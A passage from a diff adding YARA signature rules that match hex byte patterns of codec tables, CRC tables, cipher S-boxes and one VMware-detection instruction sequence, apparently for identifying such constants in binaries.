055f11ec957a7e66215f2402c3a25e3de4576f38d317d9a9344a518f48e4e1a82d2d12c6c5acf86efb50fd39b2c9511e981d5574665c28a5f8dca9d75b563abb60c1fca33d0a121fe237be703f8148dd6a608f6547e1a18b97e3375e89cde55d388bf301de99c345b06f565e368aaeaf0f4df6607fe24941607268e9ad7996aaedc9dc5ad010852e0c7236c4060ea65ea9bb815d2bb133d888e4a55fe8136de5aa37d5b3c22e587c104a64611e3cc1f515a6e1c71b353b2c42a118058744a337708b98c22336d3e2a3a966d1c12904f8a31af29b515a804ed0aeaafd0b80bcb2c0e4ce9c15bc7d40c6841fd4f92aec398bdb65fb91ff82f1f41d0b59cd2b185b322a80c7a47270de6f3f9e89d29bdfe7ac5704fb2eb8c90a94dcf7faf0210a4787a9533f97f124adb6bc135c4a6fbb6048b3ff896ddc941e8245d69992f8de7e3dd4e2ed4be3bd2cafdb5015c727a2ab7a997f4ec9aee4ce75671d64263f2932b9f1e53c358df2218d0820f9ed1a973abf22a03e4968e7ea2b4dc38e293a691673b458665ada3cff9b2295d01fb0c7bd22d370ec2a3d35997cf9ae06253875b0ed7a48104063019482f642d3028b5acc0a12e78cea983724fbe3697322bad5a19750a31419be61e41699216362d9d43d5bc65b4c0a0cbafe5e994aa09f76c49eb3e302b0df15c5094d5f7a2f68d56ec53e58b603a27cd683d9838dd598f464860aa173c67aebb391dfe35c9d7462f5f4ca45bd5a6f57cedbc5084b3a10b5879faa8441f9525ddcc334f9c5c5d897651 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__anti_VMWare__8_byt_21_
+{
+strings:
+	$a0 = { b868584d56bb00000000b90a000000ba58560000ed }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_critical_band_size_tab__8_byt_50_
+{
+strings:
+	$a0 = { 01010101010101010101010101010101010101010101010101010101030303030303030606060606060c0c0c0c1818181818 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_48_120__16_big_28_
+{
+strings:
+	$a0 = { 00040008000c00100014001c0024002c003800440050006000700078 }
+
+condition:
+	$a0
+}
+
+	
+rule libskba_asn1_yytranslate__8_byt_302_
+{
+strings:
+	$a0 = { 000202020202020202020202020202020202020202020202020202020202020202020202020202023132022f33303802020202020202020202020202020202020202020202020202020202020202020202020202020202020202023402350202020202020202020202020202020202020202020202020202020202360237020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e }
+
+condition:
+	$a0
+}
+
+	
+rule MS_ADPCM_AdaptationTable__32_lil_64_
+{
+strings:
+	$a0 = { e6000000e6000000e6000000e6000000330100009901000000020000660200000003000066020000000200009901000033010000e6000000e6000000e6000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab3__16_lil_34_
+{
+strings:
+	$a0 = { F3FFF5FFF7FFFBFFFDFFFFFF220002001200FFFF2100200010001100FFFF01000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_15_tap_filter__flt32___32_big_60_
+{
+strings:
+	$a0 = { baa0b9c1bb71165c3c0ca2173caac706bd4df2b3bdf892163e95fa003f355a423e95fa00bdf89216bd4df2b33caac7063c0ca217bb71165cbaa0b9c1 }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_costab__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3fed906bcf328d463fd87de2a6aea9633fefd88da3d125263fb917a6bc29b42c3feffd886084cd0d3f992155f7a3667f3fefffd8858e8a923f7921f0fe670071 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_CCITT_poly_0x15__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00152a3f54417e6ba8bd8297fce9d6c345506f7a11043b2eedf8c7d2b9ac93868a9fa0b5decbf4e12237081d76635c49cfdae5f09b8eb1a467724d583326190c01142b3e55407f6aa9bc8396fde8d7c244516e7b10053a2fecf9c6d3b8ad92878b9ea1b4dfcaf5e02336091c77625d48cedbe4f19a8fb0a566734c593227180d0217283d56437c69aabf8095feebd4c147526d781306392ceffac5d0bbae9184889da2b7dcc9f6e320350a1f74615e4bcdd8e7f2998cb3a665704f5a31241b0e0316293c57427d68abbe8194ffead5c046536c791207382deefbc4d1baaf9085899ca3b6ddc8f7e221340b1e75605f4accd9e6f3988db2a764714e5b30251a0f }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_13__16_big_514_
+{
+strings:
+	$a0 = { 40003f4b3e963de23d2e3c7a3bc63b123a5e39ab38f83846379436e33632358234d23423337432c63218316c30c030162f6c2ec32e1b2d752ccf2c2b2b872ae42a41299e28fb285a27b9271b267d25e1254624ad2414237e22e8225521c2213220a320141f861efb1e701de81d601cdc1c581bd61b541ad61a5819dd196218e9187017f7177e17071690161c15a9153914c9145c13f01387131f12b9125411f21190113010d0107310160fbc0f630f0d0eb70e640e110dc10d710d240cd70c8c0c410bf60bab0b630b1b0ad50a900a4e0a0c09cc098d0950091408da08a00869083207fc07c607930760072f06ff06d106a30677064b062105f705cf05a80581055a0533050c04e704c2049f047c045b043a041b03fc03de03c003a40388036e0354033a0321030902f102db02c502af029a02850271025d024a023702260215020401f301e201d101c101b101a2019301850177016a015d01510145013a012f0125011b0111010700fe00f500ec00e300db00d300cc00c500be00b700b100ab00a5009f00990093008d00870082007d00780073006e006900650061005d005900550051004d004a004700440041003e003b0038003500330031002f002d002b00290027002500230021001f001d001b001900170016001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_quant__flt64___64_big_128_
+{
+strings:
+	$a0 = { 000000000000000000000000000000003fa9a6b50b0f27bb3fc6c226809d49523fb212d77318fc503fd20902de00d1b73fb978d4fdf3b6463fdc96bb98c7e2823fc1e83e425aee633fe1fe5c91d14e3c3fc90cb295e9e1b13fe6a71de69ad42c3fd15cfaacd9e83e3fec858793dd97f63fd7ac710cb295ea3ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab11__16_lil_254_
+{
+strings:
+	$a0 = { 87FF8FFFA7FFC5FFD5FFE5FFEFFFF9FFFDFFFFFF77006700FFFF76007500FDFFFFFF66004700FFFF7400FFFF57005500FBFFFDFFFFFF560065003700FFFF73004600F7FFF9FFFDFFFFFF45005400FFFF350053002700FFFF7200FFFF64000700FBFFFFFF7100FFFF17007000FDFFFFFF36006300FFFF6000FFFF44002500F3FFF9FFFBFFFDFFFFFF5200050015006200FDFFFFFF260006001600FBFFFFFF6100FFFF51003400FBFFFFFF5000FFFF43003300FFFF24004200F1FFF5FFF9FFFDFFFFFF14004100FFFF04004000FFFF23003200FFFF13003100FBFFFDFFFFFF0300300022002100FBFFFFFF1200FFFF020020001100FDFFFFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab_c1__16_lil_62_
+{
+strings:
+	$a0 = { F1FFF9FFFDFFFFFF0F000E00FFFF0D000C00FDFFFFFF0B000A00FFFF09000800F9FFFDFFFFFF07000600FFFF05000400FDFFFFFF03000200FFFF01000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_opposite_side___135_degree___flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3f2000ceef2efe3bbef6d7f809d29ecb3ed86c75fdee8524bee989d7d661765ebf100d7b398d1fbc3ed76129afa9d194bf09e017222475ae3eb3bfdaae80ef90bf0f0e8cbbb3cda83ee3ee2c117c7382bf23968713fd37d93f200e08ea353d0fbf194520fdeea0093ed93dad2f5706223f0194d9df4dad2dbf295113541cf0413f40c18b9b5b229bbf4299ebde17cf3e3f53c123abba3df23f4eb489e35c965e3f72d3c02285f1b0bf5eda9e4530b646bf80cfa2f2bca2a43f6f46a478a1327a3f81df3562611fd33fb10f8eb9ec6a2b3fb1610837246922bfa7002ad626d20cbfa494f8bacbe7d73f9ad4f9917a54673f8c034769bff877bf8d5ba60f8815b13f84c52d38541ba03fbd976478ee71893fc44e528146647d3faeb5164a4655a23f7322a8e3af4e633fa02098422ef9923f8d5d91ce240a84bf8e3519d5403b73bf950c643a583c73bfabaff7b64e941dbfb3e28c4ab1058abfa9bfbb2f01f682bf9f8c386937386fbfa16b03baae8652bf9f40bb411470e9bf8d0445516bcf863f886305df1417893f8d420555e9c1223f7a1f427f9672703f92fdf042ae86323f9cf9e461b6e18e3f99d3e28b8cb9023f96753d860bc6bd3f942e918269cf8d3f91b525bb2280f83f91e32f568334153f83ecd9016ef60abf6863346b85826cbf83995d16f36383bf908343a8db3c0fbf9e0b8d506a4469bfa52a36544ef554bfa64a7aac5f4cbdbfa3c2f0054722abbf9c83472ddb30d6bf937375f3b5fc91bf8a50db45b52bb0bf722d0beffb1c663f329a48251d45393f6ef0ae51d0f9003f8086b4d5b9d72e3f81f341649d11693f806d4429f7bb603f7bfa24825902083f622c2d533034c4bf60c6b3353f6950bf705f9b70cbf30dbf7cf18a12c630e4bf8344c0056477fcbf86672f849ee5ddbf881dbe93977f50bf87543816656c04bf85ae25150370b7bf84287553009ae4bf7fc1d2512a51eabf7750a37a61e887bf7aa6db5b0704e0bf75e5d3fe69ae4dbf70072c0c80361fbf6d90eca344e7d1bf60a7357c50c0013f278145deb257243f6ada6b659ed8833f7042871b1734ec3f60a977b398a139bf1dbe21c406eb77bf5e0e131ab94784bf6d23138257da59bf7176a0e98d3ceebf6816d1bc869888bf6c21de81b7ad1abf78abfe1aaced42bf7fb9f1e9c6579fbf803448197bc93fbf799bb9e8620944bf75bdaf5dc58f9dbf76d0470abc1617bf731b07599c8cc5bf6eec482e43cd41bf711a7c6b75fe0dbf7315f242590948bf7483e69f207f4cbf73606b80200774bf6be29ca8be1409bf5c08981c393779bf43f649e3bfadecbf5a4c8fea09ea3bbf6b2394ac6a5ffabf72745f5c44f458bf7101eba82dcc9fbf6a5de2cb91c31fbf66589211d989a4bf5c194112ee7676bf54a09cab49f718bf5e5ba9a6a23926bf64cf7a69a5cef6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_8svx_fibonacci__16_lil_32_
+{
+strings:
+	$a0 = { 00de00eb00f300f800fb00fd00fe00ff000000010002000300050008000d0015 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Q_Fract_allpass_Qmf__flt64___64_big_3072_
+{
+strings:
+	$a0 = { 3fe8f9491ffbeb403fe401fcdffec78b3fd87de29ff486e33fed906bbfff7a6d3feb5cebbffe9e863fe0975880034c64bfdc27f6c00602073fecbca440066d67bfed906bbfff7a6dbfd87de29ff486e3bfb079c69fc9fad93fefef046006dcdbbfef1da78001db06bfcde18a20154e653fed906bbfff7a6dbfd87de29ff486e3bfed44763ff9f5623fd9e0c3dff53ad93f90159980805434bfeffefd400204afbfd87de29ff486e33fed906bbfff7a6dbfe90152c001bd63bfe3f7f05ffd55513fef55cb1ffe9702bfc9f4ee400d56eebfd87de29ff486e3bfed906bbfff7a6d3fc893b95ffc77b2bfef6792fff9295f3fda563fdff956413fed2a37400306623fed906bbfff7a6d3fd87de29ff486e33feeafde6006cbadbfd22514a009c608bfe997048006396f3fe336a44002fdcbbfed906bbfff7a6d3fd87de29ff486e33fe63bab5fff3ef13fe703d6bffda1fbbfe8553ea001704bbfe4c8478005ef8f3fd87de29ff486e3bfed906bbfff7a6dbfd44128dffbb1443fee5aeec0007a683fddf290a0002301bfec47cea004c46a3fd87de29ff486e33fed906bbfff7a6dbfef991ec0062b423fc438dfc0198b163feedda760027e723fd0e34ca00218a8bfed906bbfff7a6dbfd87de29ff486e3bfe317b75fffcf41bfe9ae1f7ff9bfb2bfa81e5e202d02533feff6e7e0013a9b3fed906bbfff7a6dbfd87de29ff486e33fdbe28cdff7ccd6bfeccd8afffc38c6bfef86041ffc1d123fc601c3c001e4e7bfd87de29ff486e33fed906bbfff7a6d3feffc5a2000274dbf9e8e887fa71061bfd87de19ff9a246bfed906bfffe3394bfd87de29ff486e3bfed906bbfff7a6d3fdf4591a0039ea43febeb7ce003130e3fea2e48a003a05bbfe26670e0043a8c3fed906bbfff7a6d3fd87de29ff486e3bfe186d5bffd95f43feac5fd600319113fe7ab0e6003e5823fe58952000591eebfed906bbfff7a6d3fd87de29ff486e3bfefd7eb7ffabdf5bfb94ae1bfd4eaf4bfdfb5997ff6e3d53febcbd3fffdeedc3fd87de29ff486e3bfed906bbfff7a6dbfd7d711bff9884abfedb26f20064b42bfee95dafffffad9bfd2d18ffff74d7d3fd87de29ff486e33fed906bbfff7a6d3fe4d20ec003b30abfe84ce13ffd445a3fb415ebc0262208bfefe6bf20032e1cbfed906bbfff7a6dbfd87de29ff486e33fef2c6d9ffcc64b3fcce70fa004627d3fefae46400202f7bfc20909c00376e93fed906bbfff7a6dbfd87de29ff486e33fd003745ff7821a3feefb6c80043ce93fd69f5340029f4e3fedef28a00067b9bfd87de29ff486e33fed906bbfff7a6dbfe7c4f8ffffabd23fe56cb41ffa12cebfeabeefa002e1a93fe191977ffa3b64bfd87de29ff486e3bfed906bbfff7a6dbfedfcb7a003afd2bfd6570bfffb68e6bfe6fae340043b9fbfe644eb9fff41f33fed906bbfff7a6d3fd87de29ff486e3bfbfafaf1fc9bc25bfefc101a003ba213fe0b84fe004657fbfeb48d38005a3f8bfed906bbfff7a6d3fd87de29ff486e33fea53127ffc92f8bfe231a84004e5b33fee46547ffdf4df3fd4bb12400b98403fd87de29ff486e3bfed906bbfff7a6d3fec4dd1e00559733fdddbcfa006883fbfbc1795600885333fefce8720008ca93fd87de29ff486e33fed906bbfff7a6dbf734d82c17035383fefffe8bffb0ad6bfefce875fff45d03fbc17829ffa533abfed906bbfff7a6dbfd87de29ff486e3bfec718500063f723fdd52e2fff7c408bfd4bb0dc00716a0bfee46553ffa20553fed906bbfff7a6dbfd87de29ff486e3bfea26dfc0017dd3bfe270f7800075af3feb48d4bfff41bcbfe0b84dc0018142bfd87de29ff486e33fed906bbfff7a6d3fc10a20c007fb1ebfefb716bffb7c393fe644e9fff9d0043fe6fae4dffbef1dbfd87de29ff486e3bfed906bbfff7a6d3fee1753dfff6e30bfd5c615fff34a22bfe191997ffdc30d3feabeee5ffb85753fed906bbfff7a6d3fd87de29ff486e33fe7910220012c6f3fe5a5cfc0027536bfedef27c004dfb0bfd69f57a007c45bbfed906bbfff7a6d3fd87de29ff486e3bfd098c80009652f3feee7c09ff9cd393fc20913200a8fe6bfefae45e003ed3d3fd87de29ff486e3bfed906bbfff7a6dbfef3d820000f3f43fcbb9de1ff6e47a3fefe6bf40028ab0bfb415d90017f00f3fd87de29ff486e33fed906bbfff7a6dbfe497304002b234bfe87ed70004f2283fd2d18b7ff2cbdc3fee95dbbffc264ebfed906bbfff7a6dbfd87de29ff486e33fd8661afff53e11bfed9555e0066575bfebcbd52005ee7c3fdfb595800b51633fed906bbfff7a6dbfd87de29ff486e33fefdf2fa005e352bfb6e3ef20185535bfe589504000c36cbfe7ab0ffffb9900bfd87de29ff486e33fed906bbfff7a6d3fe146095ffcca283feaeff9600658923fe26672dffa03c5bfea2e475ffc4428bfd87de29ff486e3bfed906bbfff7a6dbfdfcbf1bffd2ee03febc571a0021dcf3fed906b2002ab8b3fd87de5dfff6ac03fed906bbfff7a6d3fd87de29ff486e3bfeff9af1ffd4648bfa419e81fc3d299bfc601cd0009a1503fef86039ffeaac4bfed906bbfff7a6d3fd87de29ff486e3bfdb573d9ff55da3bfeceedb3ffcfc32bfeff6e80000972f3fa81e3880483b8d3fd87de29ff486e3bfed906bbfff7a6d3fe35575fff9846dbfe97fc380069b5cbfd0e3481ffd9707bfeedda7ffff4d543fd87de29ff486e33fed906bbfff7a6d3fef8c8fffffe4833fc5699b3fe714af3fec47cfbfff059abfddf28c5ffa5a87bfed906bbfff7a6dbfd87de29ff486e33fd3ae723ffd34e33fee7305e00612fe3fe4c845c001210d3fe855403ff923ca3fed906bbfff7a6dbfd87de29ff486e3bfe672f29ffa6eb73fe6cdeebffb52febfe336a61ff96a713fe9970300002414bfd87de29ff486e33fed906bbfff7a6dbfee99a120000d87bfd2b8f55ffd9172bfed2a365ff9bfe9bfda56441fff1ebbbfd87de29ff486e3bfed906bbfff7a6dbfc764599fe7381ebfef760ac00382f03fc9f4f780151357bfef55caa00124b43fed906bbfff7a6d3fd87de29ff486e33fe931383fffa2cdbfe3bb60fffa3faf3feffefd60016143bf90154e20127cd7bfed906bbfff7a6d3fd87de29ff486e33fed24e8dfff8ed43fda6db480042f2a3fcde181000cee903fef1da7ffff4d543fd87de29ff486e3bfed906bbfff7a6d3fac225fc01dd6993feff39f8004ea6dbfecbca56000ae973fdc27f28000398d3fd87de29ff486e33fed906bbfff7a6dbfeb84a440066d673fe055229ff94059bfe401fb1ff9f908bfe8f94aa002009bbfed906bbfff7a6dbfd87de29ff486e3bfeb3493fff93566bfe0d92dbffe48a03fe401fec002f2a0bfe8f947c002f0e83fed906bbfff7a6dbfd87de29ff486e33fb2e1fd60257529bfefe9af3ffca2dc3fecbca33ffdca5a3fdc27fb000bca81bfd87de29ff486e33fed906bbfff7a6d3fed635940065711bfd9533ca001583ebfcde1933fe6b47a3fef1da7000468b8bfd87de29ff486e3bfed906bbfff7a6d3fe8d0dbe00419e83fe4340b80031e01bfeffefd400204afbf9015e4df365d943fed906bbfff7a6d3fd87de29ff486e3bfc9c289ffeafeb33fef58645ffbe91abfc9f4e52004f718bfef55cb9ffc0950bfed906bbfff7a6d3fd87de29ff486e3bfeec568e00592253fd190ca400ba5ff3fed2a383ffdeaffbfda563b7ff431343fd87de29ff486e3bfed906bbfff7a6dbfe603e2c0051182bfe739389ffdb8873fe336a25ffed2b53fe99705dfff33c63fd87de29ff486e33fed906bbfff7a6d3fd4d3699ff76ec6bfee422700038cd1bfe4c8495ffc5c353fe8553d1ffb5af0bfed906bbfff7a6dbfd87de29ff486e33fefa4f58003cd3dbfc307ae8011a572bfec47cd9ffc215ebfddf294c0068ee73fed906bbfff7a6dbfd87de29ff486e33fe2d9899ffc5f373fe9dbe5e002da5c3fd0e3514005f6dcbfeedda6c005af90bfd87de29ff486e33fed906bbfff7a6dbfdc6d39bffed8f03fecab933ffec1be3feff6e7c001de083fa81e83c011c918bfd87de29ff486e3bfed906bbfff7a6dbfeffe4ac00684983f94e88ee088347a3fc601ba5ffacbea3fef86047ffa32cd3fed906bbfff7a6d3fd87de29ff486e3bfdebe7b600594b9bfec10e59ffb8a2fbfed906cdff9bb9d3fd87ddd3ff47d39bfed906bbfff7a6d3fd87de29ff486e33fe1c73c3ffc634bbfea9b657ffec150bfe2666f00000f76bfea2e49fffc9ab33fd87de29ff486e3bfed906bbfff7a6d3fefcfedfffbb7ed3fbbb141002569c7 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book3__32_big_972_
+{
+strings:
+	$a0 = { 0000000000000001000000000000000100000004000000090000000200000008000000ef00000003000000040000000b0000000400000005000000190000000500000008000000f00000000600000009000001eb0000000700000009000001e6000000080000000a000003f200000009000000040000000a0000000a00000006000000350000000b00000009000001ef0000000c00000006000000340000000d00000006000000370000000e00000009000001e90000000f00000009000001ed0000001000000009000001e7000000110000000a000003f30000001200000009000001ee000000130000000a000003ed000000140000000d00001ffa0000001500000009000001ec0000001600000009000001f2000000170000000b000007f9000000180000000b000007f8000000190000000a000003f80000001a0000000c00000ff80000001b00000004000000080000001c00000006000000380000001d0000000a000003f60000001e00000006000000360000001f0000000700000075000000200000000a000003f1000000210000000a000003eb000000220000000a000003ec000000230000000c00000ff4000000240000000500000018000000250000000700000076000000260000000b000007f4000000270000000600000039000000280000000700000074000000290000000a000003ef0000002a00000009000001f30000002b00000009000001f40000002c0000000b000007f60000002d00000009000001e80000002e0000000a000003ea0000002f0000000d00001ffc0000003000000008000000f20000003100000009000001f1000000320000000c00000ffb000000330000000a000003f5000000340000000b000007f3000000350000000c00000ffc0000003600000008000000ee000000370000000a000003f7000000380000000f00007ffe0000003900000009000001f00000003a0000000b000007f50000003b0000000f00007ffd0000003c0000000d00001ffb0000003d0000000e00003ffa0000003e000000100000ffff0000003f00000008000000f1000000400000000a000003f0000000410000000e00003ffc0000004200000009000001ea000000430000000a000003ee000000440000000e00003ffb000000450000000c00000ff6000000460000000c00000ffa000000470000000f00007ffc000000480000000b000007f2000000490000000c00000ff50000004a000000100000fffe0000004b0000000a000003f40000004c0000000b000007f70000004d0000000f00007ffb0000004e0000000c00000ff70000004f0000000c00000ff9000000500000000f00007ffa }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_1__32_lil_1024_
+{
+strings:
+	$a0 = { 00020880000208000202088012012004020128000203080402010080100028000002208402032004020328040203088010012004120220841200088410020880120020841002280010002884100020800000000412012804000200801201088000022000020020800201200410032804100128800200280012002880120100000202280000002000120300800000288010012000120008000000200410000884120000800202200412012800000020841002200000030000120328840201000410010800020300841001208400032084100320801203080410010084120100041203200410000800020108041000208412032804000200840003000400000880020200000202080010020004100208000200080000020000020228840200000000030884000000801200000400010004100328801202000012020800000108040000288400002080120300040002208012000084000308801203288010012884020328000001280410010880120028041002200400030084120008800002280012000804120100801003008410000000020220000000280010030804100328840200008012032084100108041202280000010800120108040002288002020804020208841001088410032084100300000200200002012084000108801003080012022004120200801003088410020084100020040202208000010084100208041001008002000880000128000000280400012884020108841000288002002004000220040200208412022000100220840003288412002080100208840003200402000884000208041001280412020804020100000003288010032800100000801200280002002804020320800000080412030800020300800003008000000000020300001000088012020004120308840001208402020080120108000000088400010000120028840201200010000084100308801202280412020880120300840001288010032000020028801201088410000804000328001002008002022880020200841003200412002004120020001000000402002884000120800200080412012880020320840203000410022804000200040201008400030804020308001202288010012800000228841200000012022884020000041201008410022080120208841001000000020884120308801201208012022080100020000201080000022804120120001002000000010884020120801202008400000084100300800200008410030004100120800003080002012804020220840203288002012880120120840202000412032080120320000202280400012000120300000203088400012004120128840003208002032884100228840003280402012884000008000201088010002804100228800001008012032800020320001001000400032000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x26d930ac__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000026d930ac4db261586b6b51f49b64c2b0bdbdf21cd6d6a3e8f00f93441010b5cc36c985605da2d4947b7be4388b74777cadad47d0c6c61624e01f268820216b9806f85b346d930ac04b4a3a6cbb45a9289d9c9984f6f7c870d02ef8dc3031de5416e8eef87d83bf0c5b5a8fa0ab551ce48d8c2c48e6e77dbcc03e4d104042d730669be79c0df0b6682b2986c4db261580fdff252c969474d8b04d4474505262fc768b52501de003a43b393308cb36a04cedef90e08684c114a05df1b86063bca846ba8c042dd1ddf00b08ed5cfb077e18ddde4eb4b6b51f40906c2fec7073096456aa39c83dc1683c1b185890eb17cbd4cdcefb78a6a5aa8c807c9a208085ae60a65c9ecccd37cf38ebeeff941be16cd03d385c7c56530d88708a3d2490951bacb64c2b00dd277af4fbfe4a580bf1d91c2d28e9b04643b844609a88e8a0a4c5f8867df554ed16a4a0cbcf940c3bc007481d1937e47672661050ab56bcb0b47034966d4098fd06116cdbdf21c02bd0b2840d0982286662d3dc40bbe370c0c77950e61e49fc8d751808abac28a45ba3bbe07d7a8b4c1611dab830c8ea14d0d7cc9cf60efc309d65adc4bbbc9d684bb30e2c6d6a3e8006016f7420d85fd8e0e612c8c63f2264ad5473908b8d433c7b82d0785d5be0d43630b12010e9818cf0f6a704d62f97a8bd44c65c9b9df6f06b9265b44d4b5518262004ec00f9344027d26c6c010b5cc06a600d344cb93d98bcb6aedc9a6f9e70f104cf84d7ddff2837c2d9a0111be90c7a70b8f85ca98854aca61b108a7f2bbce1147a48c7cd4ae407f307f4212a37584a4166ac6c9856009c97c544ba4ef5e8d125a41cf7fc94b017e3b238313a82945a51d3607c88e3cc8c877088aa5e4024c13511d0e7ec217c6790bb5c41498bf02a22da040cfbeaa8fcf479ecda2d4940b14618b4979f281877800e9051593e3c3a326fc81ceb5f64ece4cc20ca3dfc8ca156ad78878f9dd447b1d0c46168e0680a03b19c2cda8130dcd51274fa0c22d89167732cb7be438057a16508717855a41a1304503cca34fcccc5a7b8ea1c97148177c6e0a7aef64ca757c20c818ef2a0eae5a354cc3c93f83c3300bc1aea3010718161e457585148b74777c0919e476cfaf51698dc2c26342c23b5700afa85dc6191d4284748e4848776a994a1af9938cac4c8ccec1df8601c126b243acb5b8851a00a7c77793ad097661c58b1bf2cf4dad47d00fc0d4dac0c02dee82adbee4441b0bfb067698f1ce715153cc1cc2590aaa774648c7e44c87c71d78c5aa8e72031c3b6d4171a8678f705a0f0d1dc905cbab7c1a89c6ef1046c6162404ab852ec21d30318070a33b4c7347ea4e1ed4e088a861ffcac5f2f505c50bc147a898cb811e2dd4c373bede0d724cb68f1fdfbc49a96aa30bc4f9a9c4c4009d86a99397401f26880272b582c }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABButter__flt64___64_big_360_
+{
+strings:
+	$a0 = { 3fef8f0c4f665a52bfff8e44f46f638ebfff8f0c4f665a523fef1fa754baa2883fef8f0c4f665a523fef8522681210d4bfff843684da2b3abfff8522681210d43fef0c1c9693ecde3fef8522681210d43fef57284960ec95bfff556acdee3ee0bfff57284960ec953feeb1cb89a734ee3fef57284960ec953fef35cf001ace14bfff335021bc8efbbfff35cf001ace413fee709bbcf21ab23fef35cf001ace143fef242b6b3b3498bfff213832cf1f7dbfff242b6b3b34c53fee4e3d474e93c03fef242b6b3b34983feedd8dcd504aa2bffed867477d1493bffedd8dcd504aa23fedc568a64701603feedd8dcd504aa23feeb911a95ca8f7bffeb28aef73fbffbffeb911a95ca8f73fed7f30c68aac363feeb911a95ca8f73feeac993e5d04fcbffea590933e17a9bffeac993e5d05293fed6743d2f7e4f73feeac993e5d04fc3fee45714169c19dbffe397ac010fc75bffe45714169c19d3feca2cf85850d893fee45714169c19d }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_GPixmap_dither_table__16_big_512_
+{
+strings:
+	$a0 = { 000000c0003000f0000c00cc003c00fc000300c3003300f3000f00cf003f00ff0080004000b00070008c004c00bc007c0083004300b30073008f004f00bf007f002000e0001000d0002c00ec001c00dc002300e3001300d3002f00ef001f00df00a000600090005000ac006c009c005c00a300630093005300af006f009f005f000800c8003800f8000400c4003400f4000b00cb003b00fb000700c7003700f70088004800b800780084004400b40074008b004b00bb007b0087004700b70077002800e8001800d8002400e4001400d4002b00eb001b00db002700e7001700d700a800680098005800a400640094005400ab006b009b005b00a7006700970057000200c2003200f2000e00ce003e00fe000100c1003100f1000d00cd003d00fd0082004200b20072008e004e00be007e0081004100b10071008d004d00bd007d002200e2001200d2002e00ee001e00de002100e1001100d1002d00ed001d00dd00a200620092005200ae006e009e005e00a100610091005100ad006d009d005d000a00ca003a00fa000600c6003600f6000900c9003900f9000500c5003500f5008a004a00ba007a0086004600b600760089004900b900790085004500b50075002a00ea001a00da002600e6001600d6002900e9001900d9002500e5001500d500aa006a009a005a00a600660096005600a900690099005900a5006500950055 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_hi_filter__flt32___32_lil_36_
+{
+strings:
+	$a0 = { 8e9ba23c1a80303d728854bd662296bef254103f662296be728854bd1a80303d8e9ba23c }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V3__32_big_1024_
+{
+strings:
+	$a0 = { 016ab9bbb1669ae5cd1465e2511b8725a457a2f703bed6d004b5ded6fe8552b3ad4abafd63e009cf84961c091a4d91a54d37a73da35caaf1e117a47bf98e5ab5ac2003461184e6c4c268cc550da8c6dc99d085aaaa41b2fb9c0fe2c755ae59f320c1befee5a27aad7fcc29d7e80abc713be696e09edb8dac2215d195ceaab33293734b70fd3b8463d052fc41e61cac7d947843760661b1bddaf1329b17e557795cb341f94b5616800cc27f67cc7edc59409f61e1e3c3cb10302fe1810e16100c5e672e92663f6ea253cfe84e6c9ca078730e56b0349a3f573ced9ee68e35d2d38023c2df2ed7aef26e48cf13596c2694605edf1f9b04eac119f34775893edad5ffefeb08f2472dd4c7b7ab38b9113b54a236134af4269c6910ee5f7f8d8b04034fe3c856479469e7eaded31a98ba3c112d697822153138126afd11c5db9b8b20385840306b97a87e237f682e1c2c2018070b080621ab074527cab6f85f0d97297264ef0b29dca6f4b3b2f58e628ab074bda4e58285fca5b21ef84f73a895dd900877a1b1442abf37a53d1b4c8beab5beb66d92e34a3caf3b7c72ff07839d140f4321b7319fb13417f8e4e30ed6334dfcbaafed848728cad9f54c25d2cfc00a892474602826a00f4305df676d3a8c2f5b091d180a7d1846bcb87b82ef1899fece35f086ec9512facd32fb8eea2fbd17491f92f6c8a683cd9c424b0e8ab4b9fd88dc908326c563c45352a551f5ef01b477be1a33520f7ca9b76f2276a86df619c302d46f6becbf62a776d131dd78c721d128b61f4f364e503cc8cb028fe4c8c3162c03c199ee6b0dcc81497b64b00c235e1d4699a3d13845faa0e27c217ea6906caef46c2d41f5d85a2a627024e96005caf1f9fb04c6dd1283e77615c650713e9ee2a972abc4097de8d58d9b2c8854636e251ed993d8255df06581b872a9ff642b46fed05c96ac2c1dc0bca33e91a7241b3f5348364540068cb2d84c35f7984ab99d655b7cca1f6de4864273629a6e537aab2b0b40d759f4475bb849ff5ad2f044bcce5c393d87275d00000000fb5a35def6f2f302edd5db1ccb75d45f3145583a8f5f6b6856108f23b7072b588ce1bdb897c695a6168feec20aa3cedab5d344336755d71964eb01c9c9a1bb34df2e55f690cd9da0a188c59afa308c65d286932a68297eae79ad986a123a30141b27281e613466a477bb886658069f2f6943c7157b79f701756fe70d82f7adb454c4e048af9ed5969219f2cb48e